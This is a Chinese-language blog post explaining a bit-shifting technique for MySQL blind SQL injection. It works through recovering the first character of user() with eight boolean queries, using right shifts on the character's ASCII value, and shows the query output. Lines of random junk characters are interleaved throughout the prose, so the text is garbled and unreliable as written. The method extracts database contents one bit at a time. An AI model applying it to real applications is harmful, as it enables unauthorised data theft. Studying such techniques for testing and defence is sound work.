关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



& z2 h0 d8 s. O- ?% v9 U+ H0 C下面将以查询mysql数据库当中user()的第一位为例:

" W3 Z3 g# B/ x' r( g5 Y- }8 v. c
4 z  N" o! b) j" r2 j+ }+ `
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



5 D! w/ l! D, Z7 o: e& x! z首先执行如下sql语句:
% w- q% [6 o# `9 `7 U3 |5 ]
9 w* X$ q1 u# s: ?9 v

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
) {' f' j/ p# n/ t% f

* [/ Z5 s" a0 U+ `7 g9 Y0 m# N) P  {
3 l- |0 @; y( M9 `  y! L' @我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
$ Y# m6 O5 {! Z  {7 K3 x

8 N" Y/ J3 ~6 A( a
* W) T' J+ k# K# J" z1 v+ A第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1



1 g: i- l4 G7 n9 O如果运算结果为1,说明第一位为0,不为1
5 A/ F4 E9 x1 e* ^. o7 t* N- M  X( M* S


+————————————–+
% ?" x6 n; K) c' [# t
| (ascii((substr(user(),1,1))) >> 7)=0 |
* H' N: H& j. S1 F) {6 g8 C5 @
/ u7 f6 S& O3 m1 m3 x/ N9 w+————————————–+

. M6 b, Z, W3 }& X7 s/ D( `& x| 1 |

+————————————–+

6 s0 M- c1 t; Y* t1 row in set (0.00 sec)
! _1 l; i# D2 w8 k5 n
/ a2 @$ b- k3 L% f+ ?0 ?: s) Z这样我们就确定这个8bit的ascii的第一位为0
) C" u3 ?+ X$ b0 S. f  v2 U" _4 E: _


0 z; h8 o' m3 `; Y, o( |, u+ n第二次我们来做6次右偏移来确定前两位


7 [$ U9 q$ U, ]& Y
前两位可能是01或00,即依然可以与0做比较,
* U# i) g* p3 n: e( ^2 e0 A' d# \
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
' S: ?# J/ `2 [) A9 Z/ f) C2 o
) `  ]' g/ D+ C) I1 w; e+————————————–+

( W" d1 T9 t- || (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+

% ]5 m* `" q& [& _7 U| 0 |
. T# X8 G  G" u# L, U) R
% q: L! [6 C1 }1 S+————————————–+

- p; e$ ~% c! q+ T; F1 row in set (0.00 sec)
% P  z+ h  `! q5 G

  @) a7 l1 B" g" n+ o* }
结果为0,即第二位为1

- h/ `0 n* o5 E2 |4 I1 C6 I

开始猜测前三位为010或011


( t3 L2 O7 p  Y! `$ l: o
让我们看看010和011的ascii码是多少
7 ]9 g! b  b8 m) n+ D
& S, Z4 E. \2 V! u: o; j* n* P

& R2 G3 |  H, u分别查询select b’011′ select b’010′


) t* _- {$ Q5 O. J( V6 b+ V
获得结果 010 = 2 011 = 3

  F1 y$ r9 T0 \- N5 z& E
% {+ e8 i8 a4 `9 {2 }+ A
% _# {" ~7 V. v执行如下sql:

' D' W) V5 S; G/ \1 t
: D+ `) m% V) x8 J
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

5 ~. m7 ]2 v2 \0 j2 `- d9 g2 E+————————————–+
! K4 x' L; Z0 Q
. l* d* h, N# o9 H0 x( v$ ]8 a| (ascii((substr(user(),1,1))) >> 5)=2 |

4 v2 E0 o+ }6 W2 k2 d$ w/ K8 M+————————————–+
6 r2 e) k8 @) f4 g" T$ G
| 0 |
& Z7 \0 ~9 S7 @
+————————————–+

7 Y9 U6 c" G$ y! G* j0 {% r即前三位不为010,而是011
  ?+ t/ C3 ?, d4 Q8 h" d5 ?7 j

  n, P$ t$ a, A( m2 w' C# d
/ U, |, d4 w  ^1 n, e直到获得最后一位
# X. q' I" v( V' D, g; I


; n) Q  n8 w& L0 t. e最终结果为:01110010
* `+ I( ]( m0 W1 M! |# S
& A% r6 V# s) ^* {" h

7 I' m  }; e  p( `% G1 d3 r转换一下:



select b’01110010′

/ V0 F; L7 e& E  e7 q

查询结果

! w6 A, P& T" b* _& `' }+ }' s1 {

+————-+

| b’01110010′ |

: t$ Y) j( Q' ]( h1 s: T+————-+
' i' Y8 R0 H- W" @6 Q9 c+ b
* x9 k* E# c% O. U% R( p- p- L| r |

. P* S( `$ T- W5 m; `+————-+

1 row in set (0.00 sec)
. f: y: ~! s* u. h, c8 _4 z

8 D* Z" {; b6 h& c4 a
这样我们就获得了user()的第一位.其它位依此类推
5 ]+ ?/ U# Y/ o. F. J1 M
/ D0 s: u5 C* G1 P0 C" d  [